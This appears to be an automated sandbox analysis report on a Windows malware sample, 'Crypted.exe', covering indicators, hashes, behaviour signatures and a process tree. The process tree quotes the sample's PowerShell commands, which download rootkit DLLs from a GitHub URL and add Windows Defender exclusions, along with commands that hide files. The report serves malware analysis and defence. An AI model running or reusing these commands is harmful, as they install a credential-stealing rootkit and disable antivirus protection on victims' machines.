Analysis

  • max time kernel
    151s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-07-2024 19:57

General

  • Target

    Crypted.exe

  • Size

    50KB

  • MD5

    5dd57385d3af83d5a7160e9c14aa09f5

  • SHA1

    64aabb5a9d77cbb8768779c7f3d0231465ea29f0

  • SHA256

    1f465a7b1dac4223346ba3070599d95dcdaa071d31d0e0a301322ee4433b4b7a

  • SHA512

    05eb789f336fe6d4280b085d86774bdc6e818e822a42a9165102dcbd478d16168dbceadd786783547db37f7635a5451211daea3fd008557a1d3f0533326e9ea5

  • SSDEEP

    1536:5GuV08a0ep7+bYrVNXUsyWSBY99w399hVkrf1t0:bYrVOsyWSBY99kq5W

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/NGROKC/CTC/raw/main/SInject2.dll

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • r77

    r77 is an open-source, userland rootkit.

  • r77 rootkit payload 1 IoCs

    Detects the payload of the r77 rootkit.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops autorun.inf file 1 TTPs 4 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Crypted.exe
    "C:\Users\Admin\AppData\Local\Temp\Crypted.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:452
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\Crypted.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\Crypted.exe"
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2268
    • C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\System32\explorer.exe" C:\ProgramData\caca\$77-caca.exe.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4592
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:952
    • C:\ProgramData\caca\$77-caca.exe.exe
      "C:\ProgramData\caca\$77-caca.exe.exe"
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Windows security modification
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Drops autorun.inf file
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c attrib +s +h +r "C:\ProgramData\caca\$77-caca.exe.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1068
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\ProgramData\caca\$77-caca.exe.exe"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1148
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\inj.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4648
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/SInject2.dll','C:\Users\Admin\AppData\Roaming\SInject2.dll');exit
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:668
      • C:\Windows\SysWOW64\certutil.exe
        certutil -encode C:\Users\Admin\AppData\Roaming\SInject1.exe C:\Users\Admin\AppData\Roaming\SInject3.bin
        3⤵
        • Manipulates Digital Signatures
        • System Location Discovery: System Language Discovery
        PID:3484
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\ProgramData\caca\r77-x64.dll');exit
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1084
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,vbs,bat,hta,lnk,dll,ps1;exit
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1472
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Get-MpPreference -verbose
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4220
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4212

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\caca\$77-caca.exe.exe

    Filesize

    50KB

    MD5

    5dd57385d3af83d5a7160e9c14aa09f5

    SHA1

    64aabb5a9d77cbb8768779c7f3d0231465ea29f0

    SHA256

    1f465a7b1dac4223346ba3070599d95dcdaa071d31d0e0a301322ee4433b4b7a

    SHA512

    05eb789f336fe6d4280b085d86774bdc6e818e822a42a9165102dcbd478d16168dbceadd786783547db37f7635a5451211daea3fd008557a1d3f0533326e9ea5

  • C:\ProgramData\caca\r77-x64.dll

    Filesize

    147KB

    MD5

    1b8bd653321cf3cbc786e563555fbc75

    SHA1

    5638efe0476c8c1b74c6604db419be814d1d90a0

    SHA256

    919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7

    SHA512

    bafdbc8413828c5427983fa0e9403a2d9a88d0ad2f27f92842310852d273f2d2c9a0c6f9f64e1aac03fadf49f9a3bcf58c6b7c8b06debcce46536114cde0175b

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    4280e36a29fa31c01e4d8b2ba726a0d8

    SHA1

    c485c2c9ce0a99747b18d899b71dfa9a64dabe32

    SHA256

    e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

    SHA512

    494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    50b575e6b02913252e3a2df518101be4

    SHA1

    c2fed8ada6c98c07ce47523d244e11f8cc2758d3

    SHA256

    a261c594e893e49f4b574cdb3e6380d4f307c59f6a464d63f5ba2719431d3abe

    SHA512

    933642c7d76776567c3507978815c0e0ee04a3c97a768cabdeea40de5b06053673eb1bba6d91969e8ad9c3936341aae65715cede1dccf8dd21cc644f076fda3d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    9b2e286cf260bc915018f518126b98da

    SHA1

    c299707268a78df145c95d40a3a98cdf4defb1f9

    SHA256

    e15eb3bf99b8b1b4a9a0d1e81a0b17d4b02ab1bc83b9e601b021df42f0cff0a5

    SHA512

    388221abb921b9b8c42f01c0b65e1393e8c21b87956302ec266896270d71ce668b6a57255447c9370de40cb770e7ae95c92877d99d3f00ff40071452479b7463

  • C:\Users\Admin\AppData\Local\Temp\Rot.bat

    Filesize

    239B

    MD5

    bc94713ed3b066dd0b60662b14eec576

    SHA1

    b4ea97adaa702810331946bbca2672f6f0b4f7b9

    SHA256

    08b73777133ce66a50936efea485a6d4f96f228247390bf7fc4d4108f22da8ef

    SHA512

    00e5829aa6352649899d19485c0074980aff51685c9d7667bf051db62ee76e1e38f49ca03e60d3c757cb0f657112efe736ba60dbc1fda0f8e4f0f62a28fc4c45

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvy2ok3r.3uz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\atu0f5wt.h5y

    Filesize

    20KB

    MD5

    49693267e0adbcd119f9f5e02adf3a80

    SHA1

    3ba3d7f89b8ad195ca82c92737e960e1f2b349df

    SHA256

    d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

    SHA512

    b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

  • C:\Users\Admin\AppData\Local\Temp\inj.bat

    Filesize

    257B

    MD5

    b09cfef3a4b4ad3d325e1da75298680d

    SHA1

    d78f29730c04b5d340b79ea63478488b087c01dd

    SHA256

    34e94c47c49e449f2b6ab4bb8157e47e538a72b46d2e4a548aa45c14546a9c26

    SHA512

    ff84e6abedf2aa20df541a2cd4043bb8eaacb0409d532f5b7d13869827c90b2cb122b86380332f0e191e2ce78eed5add29ad5635e5f9c54e31d0ad85baa6bdda

  • memory/452-8-0x00000000750F0000-0x00000000758A0000-memory.dmp

    Filesize

    7.7MB

  • memory/452-5-0x00000000750F0000-0x00000000758A0000-memory.dmp

    Filesize

    7.7MB

  • memory/452-0-0x00000000750FE000-0x00000000750FF000-memory.dmp

    Filesize

    4KB

  • memory/452-4-0x0000000004BB0000-0x0000000004C16000-memory.dmp

    Filesize

    408KB

  • memory/452-3-0x0000000004B10000-0x0000000004BAC000-memory.dmp

    Filesize

    624KB

  • memory/452-2-0x00000000050C0000-0x0000000005664000-memory.dmp

    Filesize

    5.6MB

  • memory/452-1-0x00000000000A0000-0x00000000000B2000-memory.dmp

    Filesize

    72KB

  • memory/668-29-0x00000000055D0000-0x00000000055F2000-memory.dmp

    Filesize

    136KB

  • memory/668-27-0x0000000002CA0000-0x0000000002CD6000-memory.dmp

    Filesize

    216KB

  • memory/668-58-0x0000000007BD0000-0x000000000824A000-memory.dmp

    Filesize

    6.5MB

  • memory/668-59-0x0000000006AA0000-0x0000000006ABA000-memory.dmp

    Filesize

    104KB

  • memory/668-43-0x00000000065C0000-0x00000000065DE000-memory.dmp

    Filesize

    120KB

  • memory/668-40-0x0000000006000000-0x0000000006354000-memory.dmp

    Filesize

    3.3MB

  • memory/668-30-0x0000000005870000-0x00000000058D6000-memory.dmp

    Filesize

    408KB

  • memory/668-28-0x00000000058F0000-0x0000000005F18000-memory.dmp

    Filesize

    6.2MB

  • memory/668-44-0x00000000065E0000-0x000000000662C000-memory.dmp

    Filesize

    304KB

  • memory/1472-121-0x0000000007250000-0x00000000072E6000-memory.dmp

    Filesize

    600KB

  • memory/1472-100-0x0000000071600000-0x000000007164C000-memory.dmp

    Filesize

    304KB

  • memory/1472-118-0x0000000006220000-0x000000000623E000-memory.dmp

    Filesize

    120KB

  • memory/1472-124-0x00000000071B0000-0x00000000071C4000-memory.dmp

    Filesize

    80KB

  • memory/1472-119-0x0000000006F30000-0x0000000006FD3000-memory.dmp

    Filesize

    652KB

  • memory/4220-96-0x0000000006760000-0x00000000067AC000-memory.dmp

    Filesize

    304KB

  • memory/4220-120-0x0000000007A90000-0x0000000007A9A000-memory.dmp

    Filesize

    40KB

  • memory/4220-122-0x0000000006500000-0x0000000006511000-memory.dmp

    Filesize

    68KB

  • memory/4220-123-0x0000000006540000-0x000000000654E000-memory.dmp

    Filesize

    56KB

  • memory/4220-98-0x0000000071600000-0x000000007164C000-memory.dmp

    Filesize

    304KB

  • memory/4220-125-0x0000000007C50000-0x0000000007C6A000-memory.dmp

    Filesize

    104KB

  • memory/4220-126-0x0000000007C40000-0x0000000007C48000-memory.dmp

    Filesize

    32KB

  • memory/4220-97-0x0000000007870000-0x00000000078A2000-memory.dmp

    Filesize

    200KB

  • memory/4220-85-0x0000000006080000-0x00000000063D4000-memory.dmp

    Filesize

    3.3MB

  • memory/4964-136-0x00000000069A0000-0x00000000069AA000-memory.dmp

    Filesize

    40KB

  • memory/4964-137-0x0000000006990000-0x000000000699E000-memory.dmp

    Filesize

    56KB

  • memory/4964-138-0x0000000006C30000-0x0000000006C3A000-memory.dmp

    Filesize

    40KB

  • memory/4964-141-0x0000000005D50000-0x0000000005DE8000-memory.dmp

    Filesize

    608KB

  • memory/4964-142-0x0000000006EE0000-0x0000000006F74000-memory.dmp

    Filesize

    592KB

  • memory/4964-143-0x0000000006FD0000-0x0000000007020000-memory.dmp

    Filesize

    320KB

  • memory/4964-144-0x0000000007020000-0x0000000007374000-memory.dmp

    Filesize

    3.3MB

  • memory/4964-135-0x00000000069B0000-0x0000000006A42000-memory.dmp

    Filesize

    584KB